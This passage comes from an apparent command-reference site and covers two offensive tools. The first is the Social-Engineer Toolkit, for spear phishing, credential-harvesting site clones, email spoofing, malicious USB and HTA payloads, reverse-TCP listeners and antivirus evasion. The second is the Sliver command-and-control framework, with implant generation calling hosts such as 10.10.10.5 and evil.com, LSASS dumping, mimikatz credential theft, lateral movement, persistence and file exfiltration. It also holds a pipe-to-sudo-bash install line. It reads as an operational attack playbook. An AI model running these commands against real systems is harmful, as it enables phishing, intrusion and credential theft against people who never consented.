https://terminal.rokibulroni.com/tool/exploitation/setoolkit - Homepage: https://github.com/trustedsec/social-engineer-toolkit - Documentation: https://github.com/trustedsec/social-engineer-toolkit#readme - Tags: social engineering, phishing ## Install - apt: `sudo apt install set` ## Toolkit Startup ### sudo setoolkit ```bash sudo setoolkit ``` Launches the Social Engineer Toolkit interactive console with root privileges. ### seupdate ```bash seupdate ``` Updates the Social Engineer Toolkit to the latest version from the repository. ## Configuration ### vi /etc/setoolkit/set.config ```bash vi /etc/setoolkit/set.config ``` Opens the main configuration file to adjust Metasploit paths, email providers, and Apache settings. ### METASPLOIT_PATH=/opt/metasploit/apps/pro/msf3 ```bash METASPLOIT_PATH=/opt/metasploit/apps/pro/msf3 ``` Example: ```bash Edit inside set.config ``` Manually sets the path to the Metasploit Framework if not detected automatically. ### SENDMAIL=ON ```bash SENDMAIL=ON ``` Example: ```bash Edit inside set.config ``` Enables Sendmail usage for spoofing emails instead of using a Gmail/SMTP relay. ### APACHE_SERVER=ON ```bash APACHE_SERVER=ON ``` Example: ```bash Edit inside set.config ``` Configures SET to use the system Apache server instead of the built-in Python Python web server. ## Menu Navigation ### 1 ```bash 1 ``` Example: ```bash Menu Selection: 1 ``` Selects the 'Social-Engineering Attacks' menu, the core hub for most attack vectors. ### 2 ```bash 2 ``` Example: ```bash Menu Selection: 2 ``` Selects 'Penetration Testing (Fast-Track)', focusing on exploit delivery rather than social engineering. ### 3 ```bash 3 ``` Example: ```bash Menu Selection: 3 ``` Selects 'Third Party Modules', allowing access to addons like RATTE or remote administration tools. ## Social Engineering Attacks ### 1 -> 1 ```bash 1 -> 1 ``` Example: ```bash Menu Selection: 1 -> 1 ``` Navigates to Spear-Phishing Attack Vectors for targeted email campaigns. ## Spear Phishing ### 1 -> 1 -> 1 ```bash 1 -> 1 -> 1 ``` Example: ```bash Menu Selection: 1 -> 1 -> 1 ``` Initiates a Mass Email Attack using a predefined template or custom body. ### 1 -> 1 -> 2 ```bash 1 -> 1 -> 2 ``` Example: ```bash Menu Selection: 1 -> 1 -> 2 ``` Starts a FileFormat Payload attack to create malicious attachments (PDF, Word) for emails. ### 1 -> 1 -> 3 ```bash 1 -> 1 -> 3 ``` Example: ```bash Menu Selection: 1 -> 1 -> 3 ``` Launches a Social-Engineering Template attack to use pre-written credible email scenarios. ## Website Attack Vectors ### 1 -> 2 ```bash 1 -> 2 ``` Example: ```bash Menu Selection: 1 -> 2 ``` Navigates to Website Attack Vectors where malicious links and site cloning tools reside. ### 1 -> 2 -> 1 ```bash 1 -> 2 -> 1 ``` Example: ```bash Menu Selection: 1 -> 2 -> 1 ``` Selects the Java Applet Attack Method (Legacy) for testing outdated browser plugins. ### 1 -> 2 -> 2 ```bash 1 -> 2 -> 2 ``` Example: ```bash Menu Selection: 1 -> 2 -> 2 ``` Selects the Metasploit Browser Exploit Method to host known browser vulnerabilities. ## Credential Harvester ### 1 -> 2 -> 3 ```bash 1 -> 2 -> 3 ``` Example: ```bash Menu Selection: 1 -> 2 -> 3 ``` Selects the Credential Harvester Attack Method to capture usernames and passwords. ### 1 -> 2 -> 3 -> 1 ```bash 1 -> 2 -> 3 -> 1 ``` Example: ```bash Menu Selection: 1 -> 2 -> 3 -> 1 ``` Uses Web Templates (Gmail, Facebook, etc.) for the Credential Harvester landing page. ### 1 -> 2 -> 3 -> 2 ```bash 1 -> 2 -> 3 -> 2 ``` Example: ```bash Menu Selection: 1 -> 2 -> 3 -> 2 ``` Uses the Site Cloner to copy a live website's login page for credential harvesting. ### 1 -> 2 -> 3 -> 3 ```bash 1 -> 2 -> 3 -> 3 ``` Example: ```bash Menu Selection: 1 -> 2 -> 3 -> 3 ``` Allows Custom Import of a locally saved index.html for a completely tailored harvester page. ## Website Attack Vectors ### 1 -> 2 -> 4 ```bash 1 -> 2 -> 4 ``` Example: ```bash Menu Selection: 1 -> 2 -> 4 ``` Selects the Tabnabbing Attack Method which rewrites inactive browser tabs to a phishing page. ### 1 -> 2 -> 5 ```bash 1 -> 2 -> 5 ``` Example: ```bash Menu Selection: 1 -> 2 -> 5 ``` Selects Web Jacking Attack Method to overlay a fake page over a legitimate URL via iframe. ### 1 -> 2 -> 6 ```bash 1 -> 2 -> 6 ``` Example: ```bash Menu Selection: 1 -> 2 -> 6 ``` Selects Multi-Attack Web Method to combine multiple exploits (e.g., Harvester + Exploit) on one page. ### 1 -> 2 -> 7 ```bash 1 -> 2 -> 7 ``` Example: ```bash Menu Selection: 1 -> 2 -> 7 ``` Selects HTA Attack Method to serve a malicious HTML Application file that executes PowerShell. ## Infectious Media ### 1 -> 3 ```bash 1 -> 3 ``` Example: ```bash Menu Selection: 1 -> 3 ``` Navigates to Infectious Media Generator to create malicious USB/CD/DVD autorun payloads. ### 1 -> 3 -> 1 ```bash 1 -> 3 -> 1 ``` Example: ```bash Menu Selection: 1 -> 3 -> 1 ``` Generates a File-Format Exploit (e.g., PDF) and burns it to the media device. ### 1 -> 3 -> 2 ```bash 1 -> 3 -> 2 ``` Example: ```bash Menu Selection: 1 -> 3 -> 2 ``` Generates a Standard Metasploit Executable (reverse_tcp) for the media device autorun. ## Payloads & Listeners ### 1 -> 4 ```bash 1 -> 4 ``` Example: ```bash Menu Selection: 1 -> 4 ``` Navigates to Create a Payload and Listener to generate raw shellcode or binaries. ### 1 -> 4 -> 1 ```bash 1 -> 4 -> 1 ``` Example: ```bash Menu Selection: 1 -> 4 -> 1 ``` Selects Windows Shell Reverse_TCP payload for a basic command line callback. ### 1 -> 4 -> 2 ```bash 1 -> 4 -> 2 ``` Example: ```bash Menu Selection: 1 -> 4 -> 2 ``` Selects Windows Meterpreter Reverse_TCP payload for a full-featured Metasploit session. ### 1 -> 4 -> 8 ```bash 1 -> 4 -> 8 ``` Example: ```bash Menu Selection: 1 -> 4 -> 8 ``` Selects Linux Shell Reverse_TCP payload for targeting Linux-based systems. ## Mass Mailer ### 1 -> 5 ```bash 1 -> 5 ``` Example: ```bash Menu Selection: 1 -> 5 ``` Navigates to Mass Mailer Attack to send emails to a list of targets without a specific payload attachment. ### 1 -> 5 -> 1 ```bash 1 -> 5 -> 1 ``` Example: ```bash Menu Selection: 1 -> 5 -> 1 ``` Starts an E-Mail Attack Mass Mailer targeting a single email address. ### 1 -> 5 -> 2 ```bash 1 -> 5 -> 2 ``` Example: ```bash Menu Selection: 1 -> 5 -> 2 ``` Starts an E-Mail Attack Mass Mailer using a target list imported from a file. ## Arduino/Teensy ### 1 -> 6 ```bash 1 -> 6 ``` Example: ```bash Menu Selection: 1 -> 6 ``` Navigates to Arduino-Based Attack Vector for programming malicious USB HID devices. ### 1 -> 6 -> 1 ```bash 1 -> 6 -> 1 ``` Example: ```bash Menu Selection: 1 -> 6 -> 1 ``` Selects Powershell / HTTP Downloader for Teensy to fetch and execute payloads. ### 1 -> 6 -> 4 ```bash 1 -> 6 -> 4 ``` Example: ```bash Menu Selection: 1 -> 6 -> 4 ``` Selects Peensy (Powershell SD Card) Attack to execute scripts stored on the device's storage. ## Wireless Attacks ### 1 -> 7 ```bash 1 -> 7 ``` Example: ```bash Menu Selection: 1 -> 7 ``` Navigates to Wireless Access Point Attack Vector to create a rogue AP (requires dependencies). ## QR Code Attacks ### 1 -> 8 ```bash 1 -> 8 ``` Example: ```bash Menu Selection: 1 -> 8 ``` Navigates to QRCode Generator Attack Vector to create malicious QR codes. ### Enter URL: http://malicious.ip ```bash Enter URL: http://malicious.ip ``` Example: ```bash Input during QRCode setup ``` Defines the URL the victim will be redirected to upon scanning the QR code. ## Powershell Attacks ### 1 -> 9 ```bash 1 -> 9 ``` Example: ```bash Menu Selection: 1 -> 9 ``` Navigates to Powershell Attack Vectors to generate shellcode injection scripts. ### 1 -> 9 -> 1 ```bash 1 -> 9 -> 1 ``` Example: ```bash Menu Selection: 1 -> 9 -> 1 ``` Selects Powershell Alphanumeric Shellcode Injector for bypassing simple filters. ### 1 -> 9 -> 3 ```bash 1 -> 9 -> 3 ``` Example: ```bash Menu Selection: 1 -> 9 -> 3 ``` Selects Powershell Reverse TCP injection directly into memory. ## Third Party Modules ### 1 -> 10 ```bash 1 -> 10 ``` Example: ```bash Menu Selection: 1 -> 10 ``` Navigates to Third Party Modules to access external tools integrated into SET. ### 1 -> 10 -> 1 ```bash 1 -> 10 -> 1 ``` Example: ```bash Menu Selection: 1 -> 10 -> 1 ``` Launches the Google Analytics Attack to inject tracking code into cloned sites. ## Workflow: Site Cloning ### 1 -> 2 -> 3 -> 2 -> IP Address -> URL ```bash 1 -> 2 -> 3 -> 2 -> IP Address -> URL ``` Example: ```bash Full workflow sequence ``` Complete sequence to clone a site: Select Attack -> Cred Harvester -> Cloner -> Set IP -> Set Target. ## Workflow: Spear Phishing ### 1 -> 1 -> 1 -> 1 -> Target Email -> 1 -> Login ```bash 1 -> 1 -> 1 -> 1 -> Target Email -> 1 -> Login ``` Example: ```bash Full workflow sequence ``` Sequence to send a single mass email: Spear Phish -> Mass Email -> Single Target -> Gmail -> Credentials. ## Fast-Track ### 2 -> 1 ```bash 2 -> 1 ``` Example: ```bash Menu Selection: 2 -> 1 ``` Starts the Microsoft SQL Brute Forcer from the Pen Testing menu. ### 2 -> 2 ```bash 2 -> 2 ``` Example: ```bash Menu Selection: 2 -> 2 ``` Starts the Custom Exploit menu for specific server-side vulnerabilities. ## Reporting ### Generating reports in XML/HTML ```bash Generating reports in XML/HTML ``` Example: ```bash Automatic action post-attack ``` SET automatically saves credential harvester results to the ~/.set/reports/ directory. ## Cleanup ### 99 ```bash 99 ``` Example: ```bash Menu Selection: 99 ``` Exits the Social Engineer Toolkit and performs necessary cleanup of temporary files. ## Automation ### seautomation ```bash seautomation ``` Example: ```bash CLI Command ``` Starts the automation module to run SET non-interactively using a response file. ### nano my_set_script.ans ```bash nano my_set_script.ans ``` Example: ```bash File Creation ``` Creates an answer file for automation containing line-by-line menu selections. ### setoolkit my_set_script.ans ```bash setoolkit my_set_script.ans ``` Example: ```bash CLI Command ``` Runs setoolkit immediately feeding the answer file into the menu system. ## Post Exploitation ### sessions -i 1 ```bash sessions -i 1 ``` Example: ```bash Metasploit Interaction ``` Interacts with a successful session opened by a SET payload listener. ### sysinfo ```bash sysinfo ``` Example: ```bash Meterpreter Command ``` Retrieves system information from the compromised host within a Meterpreter session. ## Blue Team Validation ### Check logs at /var/log/apache2/access.log ```bash Check logs at /var/log/apache2/access.log ``` Example: ```bash Defense Verification ``` Verifies if the blue team detected the SET cloning activity via web server logs. ### Analyze generated .hta files ```bash Analyze generated .hta files ``` Example: ```bash Artifact Analysis ``` Inspects the HTA payloads generated by SET to write detection signatures. ## Advanced Config ### DIGITAL_SIGNATURE_STEAL=ON ```bash DIGITAL_SIGNATURE_STEAL=ON ``` Example: ```bash Edit inside set.config ``` Configures SET to attempt stealing a digital signature to sign malicious executables. ### UPX_ENCODE=ON ```bash UPX_ENCODE=ON ``` Example: ```bash Edit inside set.config ``` Enables UPX packing of payloads to attempt basic antivirus evasion. ### AUTO_MIGRATE=ON ```bash AUTO_MIGRATE=ON ``` Example: ```bash Edit inside set.config ``` Configures the Meterpreter payload to automatically migrate to a stable process upon execution. ## Module Updates ### 4 ```bash 4 ``` Example: ```bash Menu Selection: 4 (Main Menu) ``` Checks for updates to the Social Engineer Toolkit code and modules. ## Help & Credits ### 6 ```bash 6 ``` Example: ```bash Menu Selection: 6 (Main Menu) ``` Displays the help menu and credits for the toolkit developers. ## Wireless Attacks ### 1 -> 7 -> 1 ```bash 1 -> 7 -> 1 ``` Example: ```bash Menu Selection: 1 -> 7 -> 1 ``` Starts the Rogue Access Point attack (requires Airbase-ng). ## Payload Listener ### Stop listener? [yes/no]: no ```bash Stop listener? [yes/no]: no ``` Example: ```bash Workflow Choice ``` Keeps the Metasploit listener running in the background to catch multiple shells. ## Email Templates ### Subject: Important Update ```bash Subject: Important Update ``` Example: ```bash Template Input ``` Sets the subject line during the creation of a custom email template. ## Spoofing ### Use open relay? [yes/no]: yes ```bash Use open relay? [yes/no]: yes ``` Example: ```bash Workflow Choice ``` Configures the mailer to use an open relay for sending spoofed emails. ## Payload Customization ### PORT of the listener: 443 ```bash PORT of the listener: 443 ``` Example: ```bash Configuration Input ``` Sets the listening port to 443 (HTTPS) to blend in with legitimate traffic. ## Dell DRAC ### 1 -> 10 -> 2 ```bash 1 -> 10 -> 2 ``` Example: ```bash Menu Selection: 1 -> 10 -> 2 ``` Selects the Dell DRAC/Chassis Default Checker third-party module. ## Advanced Workflow ### 1 -> 2 -> 6 -> (Select attacks) ```bash 1 -> 2 -> 6 -> (Select attacks) ``` Example: ```bash Multi-Attack Configuration ``` Configures the Multi-Attack vector by sequentially selecting enabled exploits. ## SMS Spoofing ### 1 -> 10 -> SMS ```bash 1 -> 10 -> SMS ``` Example: ```bash Menu Selection: 1 -> 10 -> SMS (if available) ``` Attempts to use the legacy SMS spoofing module (availability depends on API gateways). ## Evidence Collection ### ls ~/.set/reports/ ```bash ls ~/.set/reports/ ``` Example: ```bash CLI Command ``` Lists the report files generated after a campaign for audit and review. ## Custom Exploit ### 2 -> 2 -> 1 ```bash 2 -> 2 -> 1 ``` Example: ```bash Menu Selection: 2 -> 2 -> 1 ``` Runs a specific custom exploit against a target IP from the Fast-Track menu. ## Infectious Media ### 1 -> 3 -> 3 ```bash 1 -> 3 -> 3 ``` Example: ```bash Menu Selection: 1 -> 3 -> 3 ``` Burns a malicious ISO directly to a CD/DVD device. ## System Cleanup ### rm -rf ~/.set ```bash rm -rf ~/.set ``` Example: ```bash CLI Command ``` Manually removes the SET configuration and reports directory for a complete factory reset. ## Related tools - [msfvenom](https://terminal.rokibulroni.com/tool/exploitation/msfvenom) - [Metasploit Framework](https://terminal.rokibulroni.com/tool/exploitation/metasploit) # Tool: Sliver > An open-source, cross-platform command-and-control framework for adversary emulation, with mTLS, WireGuard, HTTP(S) and DNS implants. - Category: Exploitation - Commands: 150 - Page: https://terminal.rokibulroni.com/tool/exploitation/sliver - Homepage: https://github.com/BishopFox/sliver - Documentation: https://sliver.sh/docs - Tags: C2, red team, implants ## Install - apt: `sudo apt install sliver` - other: `curl https://sliver.sh/install | sudo bash` ## Server Startup ### sliver-server ```bash sliver-server ``` Starts the main Sliver command and control server. ## Client Connection ### sliver-client import ```bash sliver-client import ``` Example: ```bash sliver-client import ./operator_cfg.json ``` Imports an operator configuration file to authenticate the client. ### sliver-client ```bash sliver-client ``` Launches the client console to connect to the server. ## Operator Management ### operators ```bash operators ``` Lists all operators currently configured on the server. ### new-operator ```bash new-operator ``` Example: ```bash new-operator --name redteam1 --lhost 10.10.10.5 ``` Creates a new operator profile with a specific listening host. ### multiplayer ```bash multiplayer ``` Enables multiplayer mode to allow multiple operators to connect. ## General ### version ```bash version ``` Displays the current version of the Sliver server and client. ### monitor ```bash monitor ``` Streams real-time events and logs from the server to the console. ### licenses ```bash licenses ``` Displays the software licenses for Sliver and its dependencies. ### update ```bash update ``` Checks for updates to the Sliver framework. ## Listener Management ### mtls ```bash mtls ``` Example: ```bash mtls --lport 8888 ``` Starts a Mutual TLS listener on the specified port. ### mtls -P ```bash mtls -P ``` Example: ```bash mtls --persistent --lport 8888 ``` Starts a persistent mTLS listener that survives server restarts. ### http ```bash http ``` Example: ```bash http --lport 80 ``` Starts a standard HTTP listener on port 80. ### http -d ```bash http -d ``` Example: ```bash http --domain evil.com --lport 80 ``` Starts an HTTP listener associated with a specific domain. ### https ```bash https ``` Example: ```bash https --lport 443 --domain secure.com ``` Starts an HTTPS listener using an automatically generated or provided cert. ### https -c ```bash https -c ``` Example: ```bash https --cert ./cert.pem --key ./key.pem --lport 443 ``` Starts an HTTPS listener using a custom SSL certificate and key. ### https --lets-encrypt ```bash https --lets-encrypt ``` Example: ```bash https --domain my-c2.com --lets-encrypt ``` Starts an HTTPS listener and attempts to fetch a Let's Encrypt certificate. ### dns ```bash dns ``` Example: ```bash dns --domain ns1.evil.com --lport 53 ``` Starts a DNS listener for command and control over DNS records. ### wg ```bash wg ``` Example: ```bash wg --lport 51820 ``` Starts a WireGuard listener for encapsulated C2 traffic. ### jobs ```bash jobs ``` Lists all currently active listeners (jobs). ### jobs -k ```bash jobs -k ``` Example: ```bash jobs -k 1 ``` Kills a specific listener job by its ID. ## Infrastructure ### websites ```bash websites ``` Lists all active websites hosted by the Sliver server. ### websites add ```bash websites add ``` Example: ```bash websites add --website-name payload --web-path / --content ./payload.exe ``` Hosts a file on a specific path for download. ### websites rm ```bash websites rm ``` Example: ```bash websites rm --website-name payload ``` Removes a hosted website or file. ## Canary Management ### canaries ```bash canaries ``` Lists all generated DNS canaries. ### generate-canary ```bash generate-canary ``` Example: ```bash generate-canary --domain canary.evil.com ``` Generates a DNS canary string to detect blue team investigation. ## Implant Profiles ### profiles ```bash profiles ``` Lists all saved implant profiles. ### profiles new ```bash profiles new ``` Example: ```bash profiles new --mtls 10.10.10.5:8888 --os windows --arch amd64 win_mtls ``` Creates a new reusable profile for generating Windows mTLS implants. ### profiles new -b ```bash profiles new -b ``` Example: ```bash profiles new --http 10.10.10.5:80 --format shellcode win_shellcode ``` Creates a profile for generating shellcode implants over HTTP. ### profiles generate ```bash profiles generate ``` Example: ```bash profiles generate --profile win_mtls ``` Generates an implant binary using a saved profile. ## Implant Generation ### generate --mtls ```bash generate --mtls ``` Example: ```bash generate --mtls 10.10.10.5:8888 --os windows --save ./backdoor.exe ``` Generates a basic Windows binary connecting via mTLS. ### generate --http ```bash generate --http ``` Example: ```bash generate --http 10.10.10.5:80 --os linux --save ./linux_backdoor ``` Generates a Linux binary connecting via HTTP. ### generate --dns ```bash generate --dns ``` Example: ```bash generate --dns ns1.evil.com. --os macos --save ./mac_dns ``` Generates a macOS binary connecting via DNS. ### generate --format ```bash generate --format ``` Example: ```bash generate --mtls 10.10.10.5:8888 --format shared --save ./hook.dll ``` Generates a shared library (DLL/dylib) implant. ### generate --shellcode ```bash generate --shellcode ``` Example: ```bash generate --mtls 10.10.10.5:8888 --format shellcode --save ./shellcode.bin ``` Generates raw shellcode for injection or custom loaders. ### generate --service ```bash generate --service ``` Example: ```bash generate --mtls 10.10.10.5:8888 --format service --save ./svc.exe ``` Generates a Windows service binary. ### generate --skip-symbols ```bash generate --skip-symbols ``` Example: ```bash generate --mtls 10.10.10.5:8888 --skip-symbols ``` Generates an implant with obfuscation and symbol stripping enabled. ### generate --evasion ```bash generate --evasion ``` Example: ```bash generate --mtls 10.10.10.5:8888 --evasion ``` Enables advanced evasion techniques during compilation. ### generate --run-at-load ```bash generate --run-at-load ``` Example: ```bash generate --mtls 10.10.10.5:8888 --format shared --run-at-load ``` Ensures the DLL implant executes immediately upon being loaded. ### generate --limit-domain-joined ```bash generate --limit-domain-joined ``` Example: ```bash generate --mtls 10.10.10.5:8888 --limit-domain-joined ``` Restricts execution to domain-joined machines only. ### regenerate ```bash regenerate ``` Example: ```bash regenerate --id [implant-id] ``` Recompiles an existing implant configuration. ## Implant Management ### implants ```bash implants ``` Lists all generated implants recorded in the database. ### implants rm ```bash implants rm ``` Example: ```bash implants rm [implant-id] ``` Deletes an implant record from the database. ## Session Management ### sessions ```bash sessions ``` Lists all active interactive sessions. ### beacons ```bash beacons ``` Lists all active asynchronous beacons. ### use ```bash use ``` Example: ```bash use [session-id] ``` Enters interactive mode with a specific session or beacon. ### background ```bash background ``` Backgrounds the current interactive session. ### kill ```bash kill ``` Example: ```bash kill [session-id] ``` Terminates a specific session or beacon. ## Beacon Configuration ### reconfigure ```bash reconfigure ``` Example: ```bash reconfigure --interval 1m --jitter 10s ``` Updates the check-in interval and jitter for the current beacon. ### interactive ```bash interactive ``` Converts a beacon into an interactive session. ## Situational Awareness ### info ```bash info ``` Displays detailed information about the compromised host and implant. ### ping ```bash ping ``` Sends a round-trip ping to the implant to calculate latency. ### whoami ```bash whoami ``` Displays the current user context of the implant. ### env ```bash env ``` Lists environment variables on the target system. ### hostname ```bash hostname ``` Retrieves the hostname of the target system. ## File System ### ls ```bash ls ``` Example: ```bash ls C:\Users ``` Lists files and directories in the specified path. ### cd ```bash cd ``` Example: ```bash cd C:\Windows\Temp ``` Changes the current working directory on the target. ### pwd ```bash pwd ``` Prints the current working directory. ### cat ```bash cat ``` Example: ```bash cat config.txt ``` Reads and displays the contents of a file. ### rm ```bash rm ``` Example: ```bash rm suspicious.log ``` Deletes a file on the target system. ### mkdir ```bash mkdir ``` Example: ```bash mkdir hidden ``` Creates a new directory. ### upload ```bash upload ``` Example: ```bash upload /local/tools/rubeus.exe C:\Windows\Temp\rubeus.exe ``` Uploads a file from the server to the target machine. ### download ```bash download ``` Example: ```bash download C:\Users\Administrator\Desktop\secrets.txt ``` Downloads a file from the target machine to the server. ### mv ```bash mv ``` Example: ```bash mv old.txt new.txt ``` Moves or renames a file on the target. ### cp ```bash cp ``` Example: ```bash cp source.txt dest.txt ``` Copies a file on the target system. ## Process Management ### ps ```bash ps ``` Lists running processes on the target system. ### ps -o ```bash ps -o ``` Lists processes and identifies the owner of each process. ### pgrep ```bash pgrep ``` Example: ```bash pgrep lsass ``` Searches for a process by name. ### terminate ```bash terminate ``` Example: ```bash terminate 1234 ``` Terminates a process by its PID. ## Execution ### execute ```bash execute ``` Example: ```bash execute -o cmd.exe /c whoami ``` Executes a command on the target and captures the output. ### shell ```bash shell ``` Spawns an interactive pseudo-terminal (shell) on the target. ### run-as ```bash run-as ``` Example: ```bash run-as --user Administrator cmd.exe ``` Executes a program as a different user (requires credentials/tokens). ## Process Injection ### migrate ```bash migrate ``` Example: ```bash migrate 4567 ``` Migrates the implant into another running process. ## Memory Operations ### procdump ```bash procdump ``` Example: ```bash procdump -p 500 lsass.dmp ``` Dumps the memory of a specific process ID to a file. ## Registry (Windows) ### registry read ```bash registry read ``` Example: ```bash registry read "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" ``` Reads a Windows registry key or value. ### registry write ```bash registry write ``` Example: ```bash registry write "HKCU\Software\Test" "Value" "Data" ``` Writes a value to the Windows registry. ### registry create ```bash registry create ``` Example: ```bash registry create "HKCU\Software\NewKey" ``` Creates a new registry key. ### registry delete ```bash registry delete ``` Example: ```bash registry delete "HKCU\Software\OldKey" ``` Deletes a registry key or value. ## Privilege Escalation ### getprivs ```bash getprivs ``` Enables all available privileges for the current process token. ### getsystem ```bash getsystem ``` Attempts to elevate privileges to SYSTEM automatically. ## Token Manipulation ### impersonate ```bash impersonate ``` Example: ```bash impersonate user ``` Impersonates a logged-on user's token. ### rev2self ```bash rev2self ``` Reverts the current thread token to the original process token. ### make-token ```bash make-token ``` Example: ```bash make-token --user domain\admin --password Secret ``` Creates a new logon session/token with provided credentials. ## Network Enumeration ### netstat ```bash netstat ``` Displays active network connections on the target. ### ifconfig ```bash ifconfig ``` Displays network interface configurations. ### arp ```bash arp ``` Displays the ARP table to identify adjacent hosts. ### resolve ```bash resolve ``` Example: ```bash resolve hostname.local ``` Resolves a hostname to an IP address from the target. ## Tunneling & Pivoting ### socks5 ```bash socks5 ``` Example: ```bash socks5 start --port 1080 ``` Starts a SOCKS5 proxy server tunneling traffic through the implant. ### socks5 stop ```bash socks5 stop ``` Example: ```bash socks5 stop --id 1 ``` Stops a running SOCKS5 proxy job. ### portfwd add ```bash portfwd add ``` Example: ```bash portfwd add --remote 192.168.1.10:80 --local 8080 ``` Forwards a local port on the C2 server to a remote address via the implant. ### portfwd rm ```bash portfwd rm ``` Example: ```bash portfwd rm --id 1 ``` Removes an active port forwarding rule. ### rportfwd add ```bash rportfwd add ``` Example: ```bash rportfwd add --remote 8080 --local 80 ``` Reverse forwards a port from the target machine back to the C2 server/client. ## Surveillance ### screenshot ```bash screenshot ``` Takes a screenshot of the target's desktop. ## Armory & Extensions ### armory ```bash armory ``` Lists available extensions and aliases in the Sliver Armory. ### armory update ```bash armory update ``` Updates the local cache of Armory packages. ### armory install ```bash armory install ``` Example: ```bash armory install seatbelt ``` Installs an extension (e.g., Seatbelt) from the Armory. ### extensions ```bash extensions ``` Lists currently installed extensions. ### extensions load ```bash extensions load ``` Example: ```bash extensions load /path/to/extension ``` Loads a local extension manually. ## Advanced Execution ### execute-assembly ```bash execute-assembly ``` Example: ```bash execute-assembly /path/to/tool.exe ``` Executes a .NET assembly in memory on the target (Windows only). ### execute-shellcode ```bash execute-shellcode ``` Example: ```bash execute-shellcode /path/to/shellcode.bin ``` Injects and executes raw shellcode into the current process. ### sideload ```bash sideload ``` Example: ```bash sideload /path/to/dll ``` Loads a shared library in memory. ## Task Management ### tasks ```bash tasks ``` Lists pending and active tasks for the current beacon. ### tasks cancel ```bash tasks cancel ``` Example: ```bash tasks cancel [task-id] ``` Cancels a queued task for a beacon. ## User Management ### msg ```bash msg ``` Example: ```bash msg * "Hello World" ``` Sends a popup message to the user on the target (Windows). ## Lateral Movement ### psexec ```bash psexec ``` Example: ```bash psexec --target 192.168.1.20 --service-name svc ``` Executes a command on a remote system via Service Manager (requires extension). ### wmic ```bash wmic ``` Example: ```bash wmic --target 192.168.1.20 process call create cmd.exe ``` Executes processes on remote systems using WMI. ### ssh ```bash ssh ``` Example: ```bash ssh user@192.168.1.50 ``` Connects to a remote host via SSH from the compromised machine. ### upload-and-exec ```bash upload-and-exec ``` Example: ```bash upload-and-exec ./beacon.exe ``` Helper to upload a binary and immediately execute it. ## Loot Management ### loot ```bash loot ``` Lists all collected loot (credentials, files) stored on the server. ### loot rm ```bash loot rm ``` Example: ```bash loot rm [id] ``` Removes a specific loot item from the server. ### loot clean ```bash loot clean ``` Clears all stored loot. ## Aliases ### aliases ```bash aliases ``` Lists currently defined command aliases. ### alias ```bash alias ``` Example: ```bash alias list_files ls ``` Creates a new custom alias for a command. ## Advanced Networking ### wg-portfwd ```bash wg-portfwd ``` Configures port forwarding specifically over WireGuard tunnels. ### wg-socks ```bash wg-socks ``` Configures SOCKS proxy specifically over WireGuard tunnels. ## Database ### db export ```bash db export ``` Example: ```bash db export ./sliver-data.json ``` Exports the entire server database to a JSON file. ### db import ```bash db import ``` Example: ```bash db import ./sliver-data.json ``` Imports a database file (useful for migration or backup recovery). ## Implant Interaction ### interactive --tunnel ```bash interactive --tunnel ``` Establishes a tunnel for interactive tools through the beacon. ## Automation ### beacons watch ```bash beacons watch ``` Monitors for new beacons and runs a command automatically. ## Defense Evasion ### obfuscate ```bash obfuscate ``` Example: ```bash obfuscate --method garble ``` Applies obfuscation to scripts or payloads (conceptual, depends on extension). ## Cleanup ### service-install ```bash service-install ``` Persists the implant as a system service. ### service-uninstall ```bash service-uninstall ``` Removes the implant service from the target. ### clear ```bash clear ``` Clears the terminal screen. ## Post-Exploitation ### lsass-dump ```bash lsass-dump ``` Extension command to dump LSASS memory specifically. ### seatbelt ```bash seatbelt ``` Example: ```bash seatbelt -group=system ``` Runs the Seatbelt extension for safety checks. ### sharp-wmi ```bash sharp-wmi ``` Example: ```bash sharp-wmi action=query ``` Runs SharpWMI extension for WMI interaction. ### rubeus ```bash rubeus ``` Example: ```bash rubeus klist ``` Runs Rubeus extension for Kerberos interaction. ### mimikatz ```bash mimikatz ``` Example: ```bash mimikatz "sekurlsa::logonpasswords" ``` Runs Mimikatz extension to dump credentials. ## DNS Management ### dns -z ```bash dns -z ``` Example: ```bash dns --zone example.com ``` Specifies the DNS zone for the listener. ## Stagers ### profiles new --format service ```bash profiles new --format service ``` Example: ```bash profiles new --format service svc_profile ``` Creates a profile specifically for generating service binaries. ### generate --stager ```bash generate --stager ``` Example: ```bash generate --stager --mtls 10.10.10.5:8888 ``` Generates a small stager payload that fetches the full implant. ### stagers ```bash stagers ``` Lists active stager listeners. ## Security ### totp ```bash totp ``` Configures TOTP (2FA) for operator login. ## Implant Config ### generate --max-errors ```bash generate --max-errors ``` Example: ```bash generate --mtls 10.10.10.5:8888 --max-errors 10 ``` Sets the maximum connection errors before the implant exits. ### generate --reconnect ```bash generate --reconnect ``` Example: ```bash generate --mtls 10.10.10.5:8888 --reconnect 1m ``` Sets the reconnection interval for the implant. ## Pivoting ### tcp-pivot ```bash tcp-pivot ``` Example: ```bash tcp-pivot --lport 9999 ``` Starts a TCP pivot listener on the compromised host. ### named-pipe-pivot ```bash named-pipe-pivot ``` Example: ```bash named-pipe-pivot --pipe-name foobar ``` Starts a named pipe listener for SMB pivoting. ## Process Management ### process-list ```bash process-list ``` Alternative command to list processes with different formatting. ## Windows Utils ### net-user ```bash net-user ``` Example: ```bash net-user username ``` Queries information about a specific local user. ### net-group ```bash net-group ``` Example: ```bash net-group Administrators ``` Queries membership of a local group. ### net-localgroup ```bash net-localgroup ``` Lists all local groups on the machine. ## Logging ### audit ```bash audit ``` Displays the audit log of operator actions. ## Cleanup ### terminate-all ```bash terminate-all ``` Mass termination of all active sessions (emergency switch). ## Server Config ### save ```bash save ``` Forces a save of the server state to disk. ## Extensions ### coff-loader ```bash coff-loader ``` Loads and executes a COFF (Common Object File Format) file. ## Network ### curl ```bash curl ``` Example: ```bash curl http://10.10.10.10/test ``` Makes an HTTP request from the implant (if extension available). ## Cleanup ### rm -f ```bash rm -f ``` Example: ```bash rm -f C:\Windows\Temp\payload.exe ``` Forces the deletion of a file, suppressing errors. ## Implant Generation ### generate --debug ```bash generate --debug ``` Example: ```bash generate --mtls 10.10.10.5:8888 --debug ``` Generates a debug build of the implant (prints logs to console). ## Operator Config ### use-profile ```bash use-profile ``` Example: ```bash use-profile default ``` Switches the active operator profile. ## Final Cleanup ### exit ```bash exit ``` Disconnects the client or stops the server gracefully. ## Related tools - [Covenant](https://terminal.rokibulroni.com/tool/exploitation/covenant) - [Metasploit Framework](https://terminal.rokibulroni.com/tool/exploitation/metasploit) # Tool: Autopsy > A graphical digital-forensics platform built on The Sleuth Kit for disk image analysis, timelines, keyword search and file 